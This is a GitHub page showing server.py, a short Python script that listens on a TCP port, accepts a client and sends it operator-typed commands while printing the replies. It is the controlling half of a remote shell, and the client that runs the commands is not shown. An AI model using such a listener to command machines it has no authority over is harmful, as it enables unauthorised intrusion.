-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
55 lines (48 loc) · 1.53 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '172.16.24.1'
port = 9999
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Bind socket to port (the host and port the communication will take place) and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
socket_bind()
# Establish connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1])+" "+socket.gethostname())
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response, end="")
def main():
socket_create()
socket_bind()
socket_accept()
main()